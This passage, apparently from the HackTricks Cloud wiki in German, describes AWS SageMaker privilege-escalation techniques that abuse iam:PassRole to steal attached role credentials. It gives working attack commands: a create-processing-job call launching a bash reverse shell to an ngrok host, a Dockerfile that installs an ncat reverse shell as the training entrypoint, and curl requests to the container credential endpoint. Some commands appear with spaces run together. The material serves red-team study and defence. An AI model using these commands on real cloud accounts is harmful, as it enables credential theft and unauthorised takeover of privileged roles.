Die Antwort sollte ein NotebookInstanceArn Feld enthalten, das den ARN der neu erstellten Notebook-Instanz enthält. Anschließend können wir die create-presigned-notebook-instance-url API verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notebook-Instanz zuzugreifen, sobald sie bereit ist:
Navigieren Sie zur URL mit dem Browser und klicken Sie oben rechts auf "Open JupyterLab", scrollen Sie dann zum Tab "Launcher" und klicken Sie unter dem Abschnitt "Other" auf die Schaltfläche "Terminal".
Jetzt ist es möglich, auf die Metadatenanmeldeinformationen der IAM-Rolle zuzugreifen.
Potenzielle Auswirkungen: Privilege Escalation zur angegebenen Sagemaker-Service-Rolle.
sagemaker:CreatePresignedNotebookInstanceUrl
Wenn bereits Jupyter-Notebooks darauf ausgeführt werden und Sie sie mit sagemaker:ListNotebookInstances auflisten können (oder sie auf andere Weise entdecken). Sie können eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie in der vorherigen Technik angegeben.
Potenzielle Auswirkungen: Privilege Escalation zum Sagemaker-Dienstrollenanhängen.
sagemaker:CreateProcessingJob,iam:PassRole
Ein Angreifer mit diesen Berechtigungen kann Sagemaker anweisen, einen Verarbeitungsauftrag auszuführen mit einer Sagemaker-Rolle daran angehängt. Der Angreifer kann die Definition des Containers angeben, der in einer AWS verwalteten ECS-Konto-Instanz ausgeführt wird, und die Anmeldeinformationen der angehängten IAM-Rolle stehlen.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Potenzielle Auswirkungen: Privilege Escalation zum angegebenen Sagemaker-Service-Rolle.
sagemaker:CreateTrainingJob, iam:PassRole
Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, der einen beliebigen Container ausführt, der mit einer Rolle verbunden ist. Daher kann der Angreifer die Anmeldeinformationen der Rolle stehlen.
Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image generieren müssen, das die Reverse-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p $(awsecrget-login-password--region<region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Potenzielle Auswirkungen:** Privilege Escalation auf die angegebene Sagemaker-Service-Rolle.
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen **Hyperparameter-Abstimmungsjob** zu erstellen, **einen beliebigen Container darauf auszuführen** und ihm eine **angehängte Rolle** zuzuweisen.\
_Ich habe es nicht ausgenutzt wegen Zeitmangels, aber es sieht ähnlich aus wie die vorherigen Exploits, fühlen Sie sich frei, einen PR mit den Exploitationsdetails zu senden._
## Referenzen
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>